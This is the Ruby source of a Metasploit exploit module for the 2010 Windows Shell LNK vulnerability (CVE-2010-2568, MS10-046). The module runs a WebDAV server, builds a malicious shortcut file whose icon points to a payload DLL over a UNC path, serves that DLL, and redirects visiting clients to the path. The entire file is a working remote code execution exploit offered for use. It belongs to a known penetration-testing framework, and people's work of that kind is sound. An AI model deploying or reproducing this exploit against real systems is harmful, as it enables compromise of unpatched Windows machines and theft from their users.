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## # $Id: ms10_046_shortcut_icon_dllloader.rb 10404 2010-09-21 00:13:30Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking # # This module acts as an HTTP server # include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft Windows Shell LNK Code Execution', 'Description' => %q{ This module exploits a vulnerability in the handling of Windows Shortcut files (.LNK) that contain an icon resource pointing to a malicious DLL. This module creates a WebDAV service that can be used to run an arbitrary payload when accessed as a UNC path. }, 'Author' => [ 'hdm', # Module itself 'jduck', # WebDAV implementation, UNCHOST var 'B_H'# Clean LNK template ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 10404 $', 'References' => [ ['CVE', '2010-2568'], ['OSVDB', '66387'], ['MSB', 'MS10-046'], ['URL', 'http://www.microsoft.com/technet/security/advisory/2286198.mspx'] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 2048, }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', { } ] ], 'DisclosureDate' => 'Jul 16 2010', 'DefaultTarget'=> 0)) register_options( [ OptPort.new( 'SRVPORT', [ true,"The daemon port to listen on (do not change)", 80 ]), OptString.new( 'URIPATH', [ true,"The URI to use (do not change).", "/" ]), OptString.new( 'UNCHOST',[ false, "The host portion of the UNC path to provide to clients (ex: 1.2.3.4)." ]) ], self.class) deregister_options('SSL', 'SSLVersion') # Just for now end def on_request_uri(cli, request) case request.method when 'OPTIONS' process_options(cli, request) when 'PROPFIND' process_propfind(cli, request) when 'GET' process_get(cli, request) else print_error("Unexpected request method encountered: #{request.method}") resp = create_response(404, "Not Found") resp.body = "" resp['Content-Type'] = 'text/html' cli.send_response(resp) end end def process_get(cli, request) myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] webdav = "\\\\#{myhost}\\" if (request.uri =~ /\.dll$/i) print_status "Sending DLL payload #{cli.peerhost}:#{cli.peerport} ..." return if ((p = regenerate_payload(cli)) == nil) data = generate_payload_dll({ :code => p.encoded }) send_response(cli, data, { 'Content-Type' => 'application/octet-stream' }) return end if (request.uri =~ /\.lnk$/i) print_status "Sending LNK file to #{cli.peerhost}:#{cli.peerport} ..." data = generate_link("#{@exploit_unc}#{@exploit_dll}") send_response(cli, data, { 'Content-Type' => 'application/octet-stream' }) return end print_status "Sending UNC redirect to #{cli.peerhost}:#{cli.peerport} ..." resp = create_response(200, "OK") resp.body = %Q|<html><head><meta http-equiv="refresh" content="0;URL=#{@exploit_unc}"></head><body></body></html>| resp['Content-Type'] = 'text/html' cli.send_response(resp) end # # OPTIONS requests sent by the WebDav Mini-Redirector # def process_options(cli, request) print_status("Responding to WebDAV OPTIONS request from #{cli.peerhost}:#{cli.peerport}") headers = { 'MS-Author-Via' => 'DAV', # 'DASL'=> '<DAV:sql>', # 'DAV' => '1, 2', 'Allow' => 'OPTIONS, GET, PROPFIND', 'Public'=> 'OPTIONS, GET, PROPFIND' } resp = create_response(207, "Multi-Status") resp.body = "" resp['Content-Type'] = 'text/xml' cli.send_response(resp) end # # PROPFIND requests sent by the WebDav Mini-Redirector # def process_propfind(cli, request) path = request.uri print_status("Received WebDAV PROPFIND request from #{cli.peerhost}:#{cli.peerport} #{path}") body = '' my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] my_uri= "http://#{my_host}/" if path =~ /\.dll$/i # Response for the DLL print_status("Sending DLL multistatus for #{path} ...") body = %Q|<?xml version="1.0" encoding="utf-8"?> <D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/"> <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/"> <D:href>#{path}#{@exploit_dll}</D:href> <D:propstat> <D:prop> <lp1:resourcetype/> <lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate> <lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength> <lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified> <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag> <lp2:executable>T</lp2:executable> <D:supportedlock> <D:lockentry> <D:lockscope><D:exclusive/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> <D:lockentry> <D:lockscope><D:shared/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> </D:supportedlock> <D:lockdiscovery/> <D:getcontenttype>application/octet-stream</D:getcontenttype> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> </D:multistatus> | resp = create_response(207, "Multi-Status") resp.body = body resp['Content-Type'] = 'text/xml' cli.send_response(resp) return end if path =~ /\.lnk$/i # Response for the DLL print_status("Sending DLL multistatus for #{path} ...") body = %Q|<?xml version="1.0" encoding="utf-8"?> <D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/"> <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/"> <D:href>#{path}#{@exploit_lnk}</D:href> <D:propstat> <D:prop> <lp1:resourcetype/> <lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate> <lp1:getcontentlength>#{rand(0x100)+128}</lp1:getcontentlength> <lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified> <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag> <lp2:executable>T</lp2:executable> <D:supportedlock> <D:lockentry> <D:lockscope><D:exclusive/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> <D:lockentry> <D:lockscope><D:shared/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> </D:supportedlock> <D:lockdiscovery/> <D:getcontenttype>shortcut</D:getcontenttype> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> </D:multistatus> | resp = create_response(207, "Multi-Status") resp.body = body resp['Content-Type'] = 'text/xml' cli.send_response(resp) return end if path !~ /\/$/ if path.index(".") print_status("Sending 404 for #{path} ...") resp = create_response(404, "Not Found") resp['Content-Type'] = 'text/html' cli.send_response(resp) return else print_status("Sending 301 for #{path} ...") resp = create_response(301, "Moved") resp["Location"] = path + "/" resp['Content-Type'] = 'text/html' cli.send_response(resp) return end end print_status("Sending directory multistatus for #{path} ...") body = %Q|<?xml version="1.0" encoding="utf-8"?> <D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/"> <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/"> <D:href>#{path}</D:href> <D:propstat> <D:prop> <lp1:resourcetype><D:collection/></lp1:resourcetype> <lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate> <lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified> <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag> <D:supportedlock> <D:lockentry> <D:lockscope><D:exclusive/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> <D:lockentry> <D:lockscope><D:shared/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> </D:supportedlock> <D:lockdiscovery/> <D:getcontenttype>httpd/unix-directory</D:getcontenttype> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> | subdirectory = %Q| <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/"> <D:href>#{path}#{Rex::Text.rand_text_alpha(6)}/</D:href> <D:propstat> <D:prop> <lp1:resourcetype><D:collection/></lp1:resourcetype> <lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate> <lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified> <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag> <D:supportedlock> <D:lockentry> <D:lockscope><D:exclusive/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> <D:lockentry> <D:lockscope><D:shared/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> </D:supportedlock> <D:lockdiscovery/> <D:getcontenttype>httpd/unix-directory</D:getcontenttype> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> | files = %Q| <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/"> <D:href>#{path}#{@exploit_dll}</D:href> <D:propstat> <D:prop> <lp1:resourcetype/> <lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate> <lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength> <lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified> <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag> <lp2:executable>T</lp2:executable> <D:supportedlock> <D:lockentry> <D:lockscope><D:exclusive/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> <D:lockentry> <D:lockscope><D:shared/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> </D:supportedlock> <D:lockdiscovery/> <D:getcontenttype>application/octet-stream</D:getcontenttype> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/"> <D:href>#{path}#{@exploit_lnk}</D:href> <D:propstat> <D:prop> <lp1:resourcetype/> <lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate> <lp1:getcontentlength>#{rand(0x100)+128}</lp1:getcontentlength> <lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified> <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag> <lp2:executable>T</lp2:executable> <D:supportedlock> <D:lockentry> <D:lockscope><D:exclusive/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> <D:lockentry> <D:lockscope><D:shared/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> </D:supportedlock> <D:lockdiscovery/> <D:getcontenttype>shortcut</D:getcontenttype> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> | if request["Depth"].to_i > 0 if path.scan("/").length < 2 body << subdirectory else body << files end end body << "</D:multistatus>" body.gsub!(/\t/, '') # send the response resp = create_response(207, "Multi-Status") resp.body = body resp['Content-Type'] = 'text/xml; charset="utf8"' cli.send_response(resp) end def generate_link(unc) uni_unc = unc.unpack("C*").pack("v*") path = '' path << [ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ].pack("C*") path << uni_unc # LinkHeader ret = [ 0x4c, 0x00, 0x00, 0x00, 0x01, 0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ].pack('C*') idlist_data = '' idlist_data << [0x12 + 2].pack('v') idlist_data << [ 0x1f, 0x00, 0xe0, 0x4f, 0xd0, 0x20, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xd8, 0x08, 0x00, 0x2b, 0x30, 0x30, 0x9d ].pack('C*') idlist_data << [0x12 + 2].pack('v') idlist_data << [ 0x2e, 0x1e, 0x20, 0x20, 0xec, 0x21, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xdd, 0x08, 0x00, 0x2b, 0x30, 0x30, 0x9d ].pack('C*') idlist_data << [path.length + 2].pack('v') idlist_data << path idlist_data << [0x00].pack('v') # TERMINAL WOO # LinkTargetIDList ret << [idlist_data.length].pack('v') # IDListSize ret << idlist_data # ExtraData blocks (none) ret << [rand(4)].pack('V') # Patch in the LinkFlags ret[0x14, 4] = ["10000001000000000000000000000000".to_i(2)].pack('N') ret end def exploit unc = "\\\\" if (datastore['UNCHOST']) unc << datastore['UNCHOST'].dup else unc << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']) end unc << "\\" unc << rand_text_alpha(rand(8)+4) unc << "\\" @exploit_unc= unc @exploit_lnk= rand_text_alpha(rand(8)+4) + ".lnk" @exploit_dll= rand_text_alpha(rand(8)+4) + ".dll" if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/' raise RuntimeError, 'Using WebDAV requires SRVPORT=80 and URIPATH=/' end print_status("") print_status("Send vulnerable clients to #{@exploit_unc}.") print_status("Or, get clients to save and render the icon of http://<your host>/<anything>.lnk") print_status("") super end end |
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